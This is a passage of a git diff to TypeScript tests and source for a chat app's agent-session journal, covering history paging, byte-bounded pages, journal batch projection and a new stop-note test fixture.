'$.body.state', 'completed') WHERE session_id = ? AND epoch = ? AND seq = ?" - ) - .run(IDENTITY.sessionId, cursor.epoch, cursor.sequence) - await journal.open() - expect(journal.cursor()).toEqual(cursor) + const { db } = openTestJournalHostDatabase(fixture.root) + db.prepare( + "UPDATE journal_rows SET row_json = json_set(row_json, '$.body.state', 'completed') WHERE session_id = ? AND epoch = ? AND seq = ?" + ).run(IDENTITY.sessionId, cursor.epoch, cursor.sequence) + await fixture.journal.open() + expect(fixture.journal.cursor()).toEqual(cursor) expect(read(request)).toMatchObject({ ok: true, page: { @@ -147,35 +70,35 @@ describe('readAgentSessionHistory', () => { it('serves current detail, outline, naming and mail facts without changing later history', async () => { const options = { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - await journal.appendSubmission({ + await fixture.journal.appendSubmission({ clientMessageId: 'u', payloadFingerprint: 'u', body: hostTestMessage('Name this'), fence: 1 }) - const turn = await journal.appendItem( + const turn = await fixture.journal.appendItem( item(0), { kind: 'turn', turnId: 'turn-1', state: 'running' }, options ) const replies = { ...options, turnScope: { kind: 'turn' as const, turnItemId: turn.itemId } } - await journal.appendItem(item(1), body('obsolete reply'), replies) - await journal.appendItem(item(2), body('initial reply'), replies) - const warm = journal.snapshot() - await journal.resolveDispatch({ + await fixture.journal.appendItem(item(1), body('obsolete reply'), replies) + await fixture.journal.appendItem(item(2), body('initial reply'), replies) + const warm = fixture.journal.snapshot() + await fixture.journal.resolveDispatch({ clientMessageId: 'u', state: 'accepted', providerIdentity: null, fence: 1 }) - await journal.appendItem(item(2), body('Revised reply'), replies) - await journal.appendTombstone(item(1), { fence: 1 }) - await journal.appendItem( + await fixture.journal.appendItem(item(2), body('Revised reply'), replies) + await fixture.journal.appendTombstone(item(1), { fence: 1 }) + await fixture.journal.appendItem( item(0), { kind: 'turn', turnId: 'turn-1', state: 'completed' }, options ) - const current = journal.snapshot() + const current = fixture.journal.snapshot() const expected = structuredClone(current) expect(current).not.toBe(warm) const detail = current.items.at(-1)! @@ -189,17 +112,17 @@ describe('readAgentSessionHistory', () => { expect(structuredSessionGateFacts(current.items).turnRunning).toBe(false) expect(current.submissions).toMatchObject([{ clientMessageId: 'u', dispatchState: 'accepted' }]) expect( - readAgentSessionHistory(journal, { sessionId: IDENTITY.sessionId, direction: 'tail' }) + readAgentSessionHistory(fixture.journal, { sessionId: IDENTITY.sessionId, direction: 'tail' }) ).toMatchObject({ ok: true, page: { items: expected.items, submissions: expected.submissions } }) - expect(journal.snapshot()).toEqual(expected) + expect(fixture.journal.snapshot()).toEqual(expected) }) it('serves the newest page on tail and pages backward from it', async () => { await appendItems(5) - const tail = readAgentSessionHistory(journal, { + const tail = readAgentSessionHistory(fixture.journal, { sessionId: 'session-1', direction: 'tail', limit: 2 @@ -210,9 +133,9 @@ describe('readAgentSessionHistory', () => { expect(tail.page.items.map((entry) => entry.body)).toEqual([body('item-4'), body('item-5')]) expect(tail.page.hasOlder).toBe(true) expect(tail.page.hasNewer).toBe(false) - expect(tail.page.liveCursor).toEqual(journal.cursor()) + expect(tail.page.liveCursor).toEqual(fixture.journal.cursor()) - const older = readAgentSessionHistory(journal, { + const older = readAgentSessionHistory(fixture.journal, { sessionId: 'session-1', direction: 'before', cursor: tail.page.window.nextCursor, @@ -227,9 +150,9 @@ describe('readAgentSessionHistory', () => { it('catches a live reader up from its cursor and stops at the limit', async () => { await appendItems(2) - const cursor = journal.cursor() + const cursor = fixture.journal.cursor() await appendItems(5) - const page = readAgentSessionHistory(journal, { + const page = readAgentSessionHistory(fixture.journal, { sessionId: 'session-1', direction: 'after', cursor, @@ -245,10 +168,10 @@ describe('readAgentSessionHistory', () => { it('carries tombstones in a forward catch-up page', async () => { await appendItems(1) - const cursor = journal.cursor() - await journal.appendTombstone(item(1), { fence: 1 }) + const cursor = fixture.journal.cursor() + await fixture.journal.appendTombstone(item(1), { fence: 1 }) - const page = readAgentSessionHistory(journal, { + const page = readAgentSessionHistory(fixture.journal, { sessionId: 'session-1', direction: 'after', cursor @@ -263,26 +186,30 @@ describe('readAgentSessionHistory', () => { it('reports a forward read with no cursor as cursor_ahead rather than serving the tail', async () => { await appendItems(1) expect( - readAgentSessionHistory(journal, { sessionId: 'session-1', direction: 'after' }) + readAgentSessionHistory(fixture.journal, { sessionId: 'session-1', direction: 'after' }) ).toMatchObject({ ok: false, reset: 'cursor_ahead' }) }) it('resets a cursor from a previous epoch', async () => { await appendItems(1) - const stale = journal.cursor() - await journal.rollEpoch('legacy_import', 2) + const stale = fixture.journal.cursor() + await fixture.journal.rollEpoch('legacy_import', 2) for (const direction of ['before', 'after'] as const) { expect( - readAgentSessionHistory(journal, { sessionId: 'session-1', direction, cursor: stale }) + readAgentSessionHistory(fixture.journal, { + sessionId: 'session-1', + direction, + cursor: stale + }) ).toMatchObject({ ok: false, reset: 'epoch_changed' }) } }) it('resets a cursor ahead of the journal', async () => { await appendItems(1) - const ahead = { epoch: journal.epoch, sequence: journal.cursor().sequence + 10 } + const ahead = { epoch: fixture.journal.epoch, sequence: fixture.journal.cursor().sequence + 10 } expect( - readAgentSessionHistory(journal, { + readAgentSessionHistory(fixture.journal, { sessionId: 'session-1', direction: 'before', cursor: ahead @@ -291,13 +218,16 @@ describe('readAgentSessionHistory', () => { }) it('carries the submission for a message on the page', async () => { - await journal.appendSubmission({ + await fixture.journal.appendSubmission({ clientMessageId: 'msg-1', payloadFingerprint: 'a'.repeat(64), body: { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'hi' }] }, fence: 1 }) - const page = readAgentSessionHistory(journal, { sessionId: 'session-1', direction: 'tail' }) + const page = readAgentSessionHistory(fixture.journal, { + sessionId: 'session-1', + direction: 'tail' + }) if (!page.ok) { throw new Error(`expected a page, got reset ${page.reset}`) } @@ -309,498 +239,3 @@ describe('readAgentSessionHistory', () => { }) }) }) - -describe('history page byte ceiling', () => { - // Several legal messages exceed the 4 MiB outbound cap. - const LARGE_TEXT = 'x'.repeat(250 * 1024) - - async function appendLargeItems(count: number): Promise { - for (let ordinal = 1; ordinal <= count; ordinal += 1) { - await journal.appendItem(item(ordinal), body(`${ordinal}:${LARGE_TEXT}`), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - } - } - - function pageOf(result: ReturnType) { - if (!result.ok) { - throw new Error(`expected a page, got reset ${result.reset}`) - } - serializeRemoteRuntimePayload(result.page) - return result.page - } - - it('keeps a tail of legal large messages under the channel cap and still pages back to every item', async () => { - await appendLargeItems(20) - - const tail = pageOf( - readAgentSessionHistory(journal, { sessionId: 'session-1', direction: 'tail', limit: 40 }) - ) - expect(tail.items.length).toBeGreaterThan(0) - expect(tail.hasOlder).toBe(true) - - const seen = tail.items.map((entry) => entry.itemId) - let cursor = tail.window.nextCursor - let hasOlder = tail.hasOlder - let guard = 0 - while (hasOlder) { - guard += 1 - expect(guard).toBeLessThan(30) - const page = pageOf( - readAgentSessionHistory(journal, { - sessionId: 'session-1', - direction: 'before', - cursor, - limit: 40 - }) - ) - expect(page.items.length).toBeGreaterThan(0) - seen.push(...page.items.map((entry) => entry.itemId)) - cursor = page.window.nextCursor - hasOlder = page.hasOlder - } - expect(new Set(seen).size).toBe(20) - }) - - it('bounds a forward catch-up page by bytes and keeps replaying to the head', async () => { - const start = { epoch: journal.epoch, sequence: 0 } - await appendLargeItems(20) - - const first = pageOf( - readAgentSessionHistory(journal, { - sessionId: 'session-1', - direction: 'after', - cursor: start, - limit: 40 - }) - ) - expect(first.items.length).toBeGreaterThan(0) - expect(first.hasNewer).toBe(true) - - const seen = first.items.map((entry) => entry.itemId) - let cursor = first.window.nextCursor - let hasNewer = first.hasNewer - let guard = 0 - while (hasNewer) { - guard += 1 - expect(guard).toBeLessThan(30) - const page = pageOf( - readAgentSessionHistory(journal, { - sessionId: 'session-1', - direction: 'after', - cursor, - limit: 40 - }) - ) - expect(page.items.length).toBeGreaterThan(0) - seen.push(...page.items.map((entry) => entry.itemId)) - cursor = page.window.nextCursor - hasNewer = page.hasNewer - } - expect(new Set(seen).size).toBe(20) - }) - - it('sends a single over-budget item shortened and marked, never replaced', async () => { - await journal.appendItem(item(1), body(`1:${'y'.repeat(3 * 1024 * 1024)}`), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - - const tail = pageOf( - readAgentSessionHistory(journal, { sessionId: 'session-1', direction: 'tail', limit: 40 }) - ) - expect(tail.items).toHaveLength(1) - const sent = tail.items[0] - const text = - sent?.body.kind === 'message' && sent.body.blocks[0]?.type === 'text' - ? sent.body.blocks[0].text - : '' - expect(sent?.shortened).toBe(true) - expect(text.startsWith('1:yyy')).toBe(true) - expect(text.length).toBeLessThan(3 * 1024 * 1024) - }) -}) - -describe('projectJournalBatch', () => { - it('publishes every nested lifecycle mutation atomically at the outer cursor', async () => { - const turn: AgentJournalItemIdentity = { - provider: 'legacy', - agent: 'codex', - sessionId: 'session-1', - recordId: 'turn-lifecycle:turn-1' - } - await journal.appendItem( - turn, - { kind: 'status', text: 'working' }, - { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - const cursor = journal.cursor() - await journal.appendLifecycleBatch({ - settlementId: 'settlement-1', - fence: 1, - mutations: [ - { - kind: 'item', - identity: item(1), - body: body('one'), - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }, - { - kind: 'item', - identity: item(2), - body: body('two'), - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }, - { kind: 'tombstone', identity: turn } - ] - }) - - const page = readAgentSessionHistory(journal, { - sessionId: 'session-1', - direction: 'after', - cursor, - limit: 1 - }) - if (!page.ok) { - throw new Error(`expected a page, got reset ${page.reset}`) - } - expect(page.page.items.map((entry) => entry.body)).toEqual([body('one'), body('two')]) - expect(page.page.removedItemIds).toHaveLength(1) - expect(new Set(page.page.items.map((entry) => entry.sequence)).size).toBe(1) - - const tail = readAgentSessionHistory(journal, { - sessionId: 'session-1', - direction: 'tail', - limit: 1 - }) - if (!tail.ok) { - throw new Error(`expected a page, got reset ${tail.reset}`) - } - expect(tail.page.items.map((entry) => entry.body)).toEqual([body('one'), body('two')]) - }) - - it('reports a hole in the row sequence as journal_gap', async () => { - await appendItems(3) - const since = journal.readSince({ epoch: journal.epoch, sequence: 0 }) - if (!since.ok) { - throw new Error(`expected rows, got reset ${since.reset}`) - } - const withHole = since.rows.filter((row) => row.seq !== since.rows[1]?.seq) - expect( - projectJournalBatch({ rows: withHole, snapshot: journal.snapshot(), afterSequence: 0 }) - ).toEqual({ ok: false, reset: 'journal_gap' }) - }) - - it('publishes touched items at their current reduced state, not as a delta', async () => { - await appendItems(1) - const cursor = journal.cursor() - await journal.appendItem(item(1), body('revised'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - const since = journal.readSince(cursor) - if (!since.ok) { - throw new Error(`expected rows, got reset ${since.reset}`) - } - const projected = projectJournalBatch({ - rows: since.rows, - snapshot: journal.snapshot(), - afterSequence: cursor.sequence - }) - if (!projected.ok) { - throw new Error(`expected a batch, got reset ${projected.reset}`) - } - expect(projected.batch.items).toHaveLength(1) - expect(projected.batch.items[0]).toMatchObject({ body: body('revised'), revision: 2 }) - expect(projected.batch.cursor).toEqual(journal.cursor()) - }) - - it('lists a tombstoned item as removed', async () => { - await appendItems(1) - const cursor = journal.cursor() - await journal.appendTombstone(item(1), { fence: 1 }) - const since = journal.readSince(cursor) - if (!since.ok) { - throw new Error(`expected rows, got reset ${since.reset}`) - } - const projected = projectJournalBatch({ - rows: since.rows, - snapshot: journal.snapshot(), - afterSequence: cursor.sequence - }) - if (!projected.ok) { - throw new Error(`expected a batch, got reset ${projected.reset}`) - } - expect(projected.batch.removedItemIds).toHaveLength(1) - expect(projected.batch.items).toHaveLength(0) - }) - - it('publishes a mismatched provider echo under its submission slot', async () => { - const message: AgentJournalMessageItem = { - kind: 'message', - role: 'user', - blocks: [{ type: 'text', text: 'queued follow-up' }] - } - await journal.appendSubmission({ - clientMessageId: 'client-follow-up', - payloadFingerprint: structuredAgentSessionPayloadFingerprint({ - method: 'agentSession.send', - sessionId: IDENTITY.sessionId, - fields: { body: message } - }), - body: message, - fence: 1 - }) - const cursor = journal.cursor() - await journal.resolveDispatch({ - clientMessageId: 'client-follow-up', - state: 'accepted', - providerIdentity: { - provider: 'codex', - threadId: 'thread-1', - turnId: 'predicted', - ordinal: 0 - }, - fence: 1 - }) - await journal.appendItem( - { provider: 'codex', threadId: 'thread-1', turnId: 'root-turn', ordinal: 2 }, - message, - { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - - const page = readAgentSessionHistory(journal, { - sessionId: IDENTITY.sessionId, - direction: 'after', - cursor - }) - if (!page.ok) { - throw new Error(`expected a page, got reset ${page.reset}`) - } - expect(page.page.items).toMatchObject([ - { itemId: agentJournalSubmissionKey('client-follow-up'), revision: 1 } - ]) - expect(page.page.removedItemIds).toEqual([]) - }) -}) - -function serializedPageBytes(value: unknown): number { - return Buffer.byteLength(serializeRemoteRuntimePayload(value), 'utf8') -} - -type RawSeedRow = - | Omit - | Omit - -/** Seed raw legacy rows, then reopen to exercise current read bounds. */ -async function reopenWithRawRows(rows: readonly RawSeedRow[]): Promise { - const full = rows.map( - (row) => - ({ - ...row, - v: AGENT_SESSION_JOURNAL_SCHEMA_VERSION, - epoch: journal.epoch, - fence: 1, - ts: tick() - }) as JournalRow - ) - await journal.close() - const opened = openTestJournalHostDatabase(root) - try { - opened.db.exec('BEGIN IMMEDIATE') - for (const row of full) { - insertTestJournalRow(opened.db, IDENTITY.sessionId, row) - } - opened.db.exec('COMMIT') - } finally { - await opened.close() - } - return journals.open({ identity: IDENTITY, stateDirectory: root, now: tick }) -} - -describe('pre-existing oversized identities', () => { - // Legacy oversized tombstone IDs cannot fit any outbound page. - const HUGE_ITEM_ID = `codex:thread-1:${'h'.repeat(5 * 1024 * 1024)}:1` - - it('answers an unfittable pre-existing removal with a bounded reset instead of an unsendable page', async () => { - const seq = journal.cursor().sequence - const reopened = await reopenWithRawRows([ - { kind: 'item', itemId: HUGE_ITEM_ID, revision: 1, seq: seq + 1, body: body('big') }, - { kind: 'tombstone', itemId: HUGE_ITEM_ID, revision: 2, seq: seq + 2 } - ]) - - for (const sequence of [seq, seq + 1]) { - const result = readAgentSessionHistory(reopened, { - sessionId: 'session-1', - direction: 'after', - cursor: { epoch: reopened.epoch, sequence }, - limit: 40 - }) - expect(result.ok).toBe(false) - if (result.ok) { - throw new Error('expected a reset') - } - expect(result.reset).toBe('cursor_compacted') - expect(serializedPageBytes(result.page)).toBeLessThanOrEqual( - REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES - ) - // Reset replaces client state without sending an unsendable removal ID. - expect(result.page.items).toEqual([]) - const liveCursor = result.page.liveCursor - if (!liveCursor) { - throw new Error('expected a live cursor on the reset page') - } - expect(liveCursor.sequence).toBeGreaterThanOrEqual(seq + 2) - - const resumed = readAgentSessionHistory(reopened, { - sessionId: 'session-1', - direction: 'after', - cursor: liveCursor, - limit: 40 - }) - expect(resumed.ok).toBe(true) - } - }) - - it('charges removal ids into the page budget and splits catch-up instead of overflowing', async () => { - const seq = journal.cursor().sequence - const removalIds = Array.from( - { length: 30 }, - (_, index) => `codex:thread-1:${'r'.repeat(250 * 1024)}:${index}` - ) - const reopened = await reopenWithRawRows( - removalIds.map((itemId, index) => ({ - kind: 'tombstone' as const, - itemId, - revision: 1, - seq: seq + 1 + index - })) - ) - - const seen = new Set() - let cursor = { epoch: reopened.epoch, sequence: seq } - let guard = 0 - while (true) { - guard += 1 - expect(guard).toBeLessThan(30) - const result = readAgentSessionHistory(reopened, { - sessionId: 'session-1', - direction: 'after', - cursor, - limit: 40 - }) - if (!result.ok) { - throw new Error(`expected a page, got reset ${result.reset}`) - } - expect(serializedPageBytes(result.page)).toBeLessThanOrEqual( - REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES - ) - for (const removed of result.page.removedItemIds) { - seen.add(removed) - } - cursor = result.page.window.nextCursor - if (!result.page.hasNewer) { - break - } - } - expect(seen).toEqual(new Set(removalIds)) - }) - - it('bounds the truncation marker id for a live oversized-id item', async () => { - const seq = journal.cursor().sequence - const reopened = await reopenWithRawRows([ - { kind: 'item', itemId: HUGE_ITEM_ID, revision: 1, seq: seq + 1, body: body('big') } - ]) - - const tail = readAgentSessionHistory(reopened, { - sessionId: 'session-1', - direction: 'tail', - limit: 40 - }) - if (!tail.ok) { - throw new Error(`expected a page, got reset ${tail.reset}`) - } - expect(serializedPageBytes(tail.page)).toBeLessThanOrEqual( - REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES - ) - expect(tail.page.items).toHaveLength(1) - const marker = tail.page.items[0] - expect(marker?.body.kind).toBe('status') - expect(marker?.itemId).toBe(boundJournalKeyComponent(HUGE_ITEM_ID)) - expect(marker?.itemId.length).toBeLessThan(2048) - - const forward = readAgentSessionHistory(reopened, { - sessionId: 'session-1', - direction: 'after', - cursor: { epoch: reopened.epoch, sequence: seq }, - limit: 40 - }) - if (!forward.ok) { - throw new Error(`expected a page, got reset ${forward.reset}`) - } - expect(serializedPageBytes(forward.page)).toBeLessThanOrEqual( - REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES - ) - expect(forward.page.items[0]?.itemId).toBe(boundJournalKeyComponent(HUGE_ITEM_ID)) - }) -}) - -describe('identity bounding at admission', () => { - it('bounds a new oversized provider identity so its item and removal share one sendable key', async () => { - const oversized: AgentJournalItemIdentity = { - provider: 'codex', - threadId: 'thread-1', - turnId: 'T'.repeat(5 * 1024 * 1024), - ordinal: 1 - } - const start = { epoch: journal.epoch, sequence: journal.cursor().sequence } - const appended = await journal.appendItem(oversized, body('bounded'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - expect(appended.itemId.length).toBeLessThan(2048) - expect(appended.itemId).toContain('~orca-oversized~') - - const beforeTombstone = journal.cursor() - await journal.appendTombstone(oversized, { fence: 1 }) - - const created = readAgentSessionHistory(journal, { - sessionId: 'session-1', - direction: 'after', - cursor: start, - limit: 40 - }) - if (!created.ok) { - throw new Error(`expected a page, got reset ${created.reset}`) - } - expect(serializedPageBytes(created.page)).toBeLessThanOrEqual( - REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES - ) - expect(created.page.removedItemIds).toEqual([appended.itemId]) - - const removal = readAgentSessionHistory(journal, { - sessionId: 'session-1', - direction: 'after', - cursor: beforeTombstone, - limit: 40 - }) - if (!removal.ok) { - throw new Error(`expected a page, got reset ${removal.reset}`) - } - expect(serializedPageBytes(removal.page)).toBeLessThanOrEqual( - REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES - ) - expect(removal.page.removedItemIds).toEqual([appended.itemId]) - }) - - it('keeps bounded keys deterministic and a fixed point of re-derivation', () => { - const oversized = 'x'.repeat(2 * 1024 * 1024) - const bounded = boundJournalKeyComponent(oversized) - expect(bounded).toBe(boundJournalKeyComponent(oversized)) - expect(boundJournalKeyComponent(bounded)).toBe(bounded) - expect(bounded.length).toBeLessThan(2048) - expect(boundJournalKeyComponent(`${oversized}y`)).not.toBe(bounded) - expect(boundJournalKeyComponent('short')).toBe('short') - }) -}) diff --git a/src/main/native-chat/agent-session-wire/agent-session-journal-batch.ts b/src/main/native-chat/agent-session-wire/agent-session-journal-batch.ts index b0e169ce6b7..cf385869ec3 100644 --- a/src/main/native-chat/agent-session-wire/agent-session-journal-batch.ts +++ b/src/main/native-chat/agent-session-wire/agent-session-journal-batch.ts @@ -10,10 +10,8 @@ import type { import type { AgentSessionJournalBatch } from '../../../shared/agent-session-wire' import { isStructuredAgentSessionStopNote } from './structured-agent-session-command-turn' import { findSequenceGap } from '../agent-session-journal/journal-cursor' -import { - isJournalStopOrResumeRow, - type JournalRow -} from '../agent-session-journal/journal-row-schema' +import type { JournalReadRow } from '../agent-session-journal/journal-read-row' +import { isJournalStopOrResumeRow } from '../agent-session-journal/journal-row-schema' export type JournalBatchProjection = | { ok: true; batch: AgentSessionJournalBatch } @@ -21,22 +19,34 @@ export type JournalBatchProjection = | { ok: false; reset: 'journal_gap' } export function projectJournalBatch(input: { - rows: readonly JournalRow[] + rows: readonly JournalReadRow[] snapshot: AgentJournalSnapshot afterSequence: number canonicalItemId?: (itemId: string) => string }): JournalBatchProjection { - const gap = findSequenceGap( - input.rows.map((row) => row.seq), - input.afterSequence + 1 - ) - if (gap) { + if ( + input.rows.every((row) => row.kind !== 'outcome') && + findSequenceGap( + input.rows.map((row) => row.seq), + input.afterSequence + 1 + ) + ) { return { ok: false, reset: 'journal_gap' } } const aliases = submissionAliases(input.snapshot.submissions) const touchedItemIds = new Set() const touchedClientMessageIds = new Set() for (const row of input.rows) { + if (row.kind === 'outcome') { + for (const itemId of row.itemIds) { + touchedItemIds.add(input.canonicalItemId?.(itemId) ?? aliases.get(itemId) ?? itemId) + } + for (const clientMessageId of row.submissionIds) { + touchedClientMessageIds.add(clientMessageId) + touchedItemIds.add(agentJournalSubmissionKey(clientMessageId)) + } + continue + } if (row.kind === 'lifecycle-batch') { for (const mutation of row.mutations) { touchedItemIds.add( diff --git a/src/main/native-chat/agent-session-wire/agent-session-stop-note-contract-test-fixture.ts b/src/main/native-chat/agent-session-wire/agent-session-stop-note-contract-test-fixture.ts new file mode 100644 index 00000000000..548fb9143d1 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/agent-session-stop-note-contract-test-fixture.ts @@ -0,0 +1,102 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach } from 'vitest' +import { agentJournalItemKey } from '../../../shared/agent-session-journal-item-key' +import { agentSessionFailureFact } from '../../../shared/agent-session-failure' +import { agentSessionFailureWords } from '../../../shared/agent-session-failure-words' +import { + AGENT_JOURNAL_THREAD_SCOPE, + type AgentJournalItemBody, + type AgentJournalTurnLifecycle +} from '../../../shared/agent-session-journal-types' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' +import { createTrackedJournalOpener } from '../agent-session-journal/journal-host-database-test-support' +import type { AgentSessionJournal } from '../agent-session-journal/journal-store' +import { structuredAgentSessionStopNoteIdentity } from './structured-agent-session-command-turn' + +export const journals = createTrackedJournalOpener() + +export const turnIdentity = { provider: 'orca', clientMessageId: 'turn-1' } as const + +export const turnItemId = agentJournalItemKey(turnIdentity) + +export const noteIdentity = structuredAgentSessionStopNoteIdentity('turn-1') + +export const noteId = agentJournalItemKey(noteIdentity) + +export const scope = { kind: 'turn', turnItemId } as const + +export const unconfirmed: AgentJournalItemBody = { + kind: 'status', + ...agentSessionFailureWords(agentSessionFailureFact('cancelUnconfirmed'), { surface: 'row' }), + tone: 'error', + presentation: 'error' +} + +export const ordinary = { kind: 'status', text: 'Cancellation requested.' } + +let root: string + +let journal: AgentSessionJournal + +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-stop-note-projection-')) + journal = await journals.open({ + identity: { + sessionId: 'session-1', + workspaceId: 'ws-1', + hostId: 'local', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') + }, + stateDirectory: root + }) +}) + +afterEach(async () => { + await journals.closeAll() + await rm(root, { recursive: true, force: true }) +}) + +export async function turn(state: AgentJournalTurnLifecycle['state'], legacy = false) { + const lifecycle: AgentJournalTurnLifecycle = { turnId: 'turn-1', state } + await journal.appendItem( + turnIdentity, + legacy + ? { kind: 'status', text: 'Turn ended', turnLifecycle: lifecycle } + : { kind: 'turn', ...lifecycle }, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) +} + +export async function note(body: AgentJournalItemBody = unconfirmed) { + await journal.appendItem(noteIdentity, body, { fence: 1, turnScope: scope }) +} + +export function readNote() { + return journal.snapshot().items.find((item) => item.itemId === noteId)! +} + +export function rows() { + const result = journal.readSince({ epoch: journal.epoch, sequence: 0 }) + if (!result.ok) { + throw new Error(result.reset) + } + return result.rows +} + +export const fixture = { + get journal() { + return journal + }, + set journal(value: typeof journal) { + journal = value + }, + get root() { + return root + }, + set root(value: typeof root) { + root = value + } +} diff --git a/src/main/native-chat/agent-session-wire/agent-session-stop-note-paging.test.ts b/src/main/native-chat/agent-session-wire/agent-session-stop-note-paging.test.ts new file mode 100644 index 00000000000..e70fb89fa7b --- /dev/null +++ b/src/main/native-chat/agent-session-wire/agent-session-stop-note-paging.test.ts @@ -0,0 +1,138 @@ +import { expect, it } from 'vitest' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import type { AgentSessionSubscribeEvent } from '../../../shared/agent-session-wire' +import { readAgentSessionHistory } from './agent-session-history-page' +import { AgentSessionSubscribers } from './structured-agent-session-subscribers' +import { structuredAgentSessionStopNoteIdentity } from './structured-agent-session-command-turn' +import { HISTORY_PAGE_CONTENT_BUDGET_BYTES } from './agent-session-history-page-bounds' +import { MOBILE_BRIDGE_MAX_FRAME_BYTES } from '../../../shared/mobile-bridge-frame-bytes' + +import { + fixture, + note, + noteId, + ordinary, + rows, + scope, + turn, + unconfirmed +} from './agent-session-stop-note-contract-test-fixture' + +it('shrinks the triggering row window without dropping the dependent note', async () => { + await turn('running') + await note() + const held = fixture.journal.cursor() + const large = { + kind: 'message', + role: 'assistant', + blocks: [ + { type: 'text', text: 'x'.repeat(Math.floor(HISTORY_PAGE_CONTENT_BUDGET_BYTES * 0.6)) } + ] + } as const + for (const clientMessageId of ['large-1', 'large-2']) { + await fixture.journal.appendItem( + { provider: 'orca', clientMessageId }, + { ...large, blocks: [...large.blocks] }, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + } + await turn('interrupted') + const first = readAgentSessionHistory(fixture.journal, { + sessionId: 'session-1', + direction: 'after', + cursor: held, + limit: 3 + }) + if (!first.ok) { + throw new Error(first.reset) + } + expect(first.page.hasNewer).toBe(true) + const next = readAgentSessionHistory(fixture.journal, { + sessionId: 'session-1', + direction: 'after', + cursor: first.page.window.nextCursor, + limit: 3 + }) + expect(next).toMatchObject({ + ok: true, + page: { + items: expect.arrayContaining([expect.objectContaining({ itemId: noteId, body: ordinary })]), + window: { nextCursor: fixture.journal.cursor() } + } + }) +}) + +it('refreshes at the exact tip using bounded frames and no durable writes', async () => { + await turn('interrupted') + for (let index = 0; index < 205; index += 1) { + await fixture.journal.appendItem( + structuredAgentSessionStopNoteIdentity(`op-${index}`), + unconfirmed, + { + fence: 1, + turnScope: scope + } + ) + } + const stored = rows() + const events: AgentSessionSubscribeEvent[] = [] + new AgentSessionSubscribers().open({ + id: 'reconnect', + sessionId: 'session-1', + journal: fixture.journal, + fence: 1, + cursor: fixture.journal.cursor(), + emit: (event) => events.push(event) + }) + const batches = events.flatMap((event) => (event.type === 'batch' ? [event.batch] : [])) + expect(batches.flatMap((batch) => batch.items)).toHaveLength(205) + expect( + batches.every( + (batch) => + batch.items.length <= 200 && + Buffer.byteLength(JSON.stringify(batch), 'utf8') < HISTORY_PAGE_CONTENT_BUDGET_BYTES && + batch.cursor.sequence === fixture.journal.cursor().sequence + ) + ).toBe(true) + expect( + batches + .flatMap((batch) => batch.items) + .every( + (item) => + item.body.kind === 'status' && item.body.text === ordinary.text && !item.body.failure + ) + ).toBe(true) + expect(rows()).toEqual(stored) +}) + +it('refreshes a phone within its frames, in bounded pages', async () => { + await turn('interrupted') + for (let index = 0; index < 205; index += 1) { + await fixture.journal.appendItem( + structuredAgentSessionStopNoteIdentity(`op-${index}`), + unconfirmed, + { + fence: 1, + turnScope: scope + } + ) + } + const events: AgentSessionSubscribeEvent[] = [] + new AgentSessionSubscribers().open({ + id: 'phone', + sessionId: 'session-1', + journal: fixture.journal, + fence: 1, + cursor: fixture.journal.cursor(), + emit: (event) => events.push(event), + boundedFrames: true + }) + const batches = events.flatMap((event) => (event.type === 'batch' ? [event.batch] : [])) + expect(batches.filter((batch) => batch.items.length > 0)).toHaveLength(2) + expect(batches.flatMap((batch) => batch.items)).toHaveLength(205) + for (const event of events) { + expect(Buffer.byteLength(JSON.stringify(event), 'utf8')).toBeLessThan( + MOBILE_BRIDGE_MAX_FRAME_BYTES + ) + } +}) diff --git a/src/main/native-chat/agent-session-wire/agent-session-stop-note-projection.test.ts b/src/main/native-chat/agent-session-wire/agent-session-stop-note-projection.test.ts index 844b1a625b2..35393c9aae3 100644 --- a/src/main/native-chat/agent-session-wire/agent-session-stop-note-projection.test.ts +++ b/src/main/native-chat/agent-session-wire/agent-session-stop-note-projection.test.ts @@ -1,88 +1,32 @@ -import { mkdtemp, rm } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { afterEach, beforeEach, expect, it } from 'vitest' +import { expect, it } from 'vitest' import { agentJournalItemKey } from '../../../shared/agent-session-journal-item-key' import { agentSessionFailureFact } from '../../../shared/agent-session-failure' import { agentSessionFailureWords } from '../../../shared/agent-session-failure-words' import { AGENT_JOURNAL_THREAD_SCOPE, - type AgentJournalItemBody, - type AgentJournalTurnLifecycle + type AgentJournalItemBody } from '../../../shared/agent-session-journal-types' -import type { AgentSessionSubscribeEvent } from '../../../shared/agent-session-wire' -import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' -import { createTrackedJournalOpener } from '../agent-session-journal/journal-host-database-test-support' -import type { AgentSessionJournal } from '../agent-session-journal/journal-store' -import { - applyJournalRow, - createJournalReducerState, - renderJournalState -} from '../agent-session-journal/journal-reducer' +import { restoreJournal } from '../agent-session-journal/journal-open' +import { openTestJournalHostDatabase } from '../agent-session-journal/journal-host-database-test-support' +import { renderJournalState } from '../agent-session-journal/journal-reducer' import { projectJournalBatch } from './agent-session-journal-batch' import { 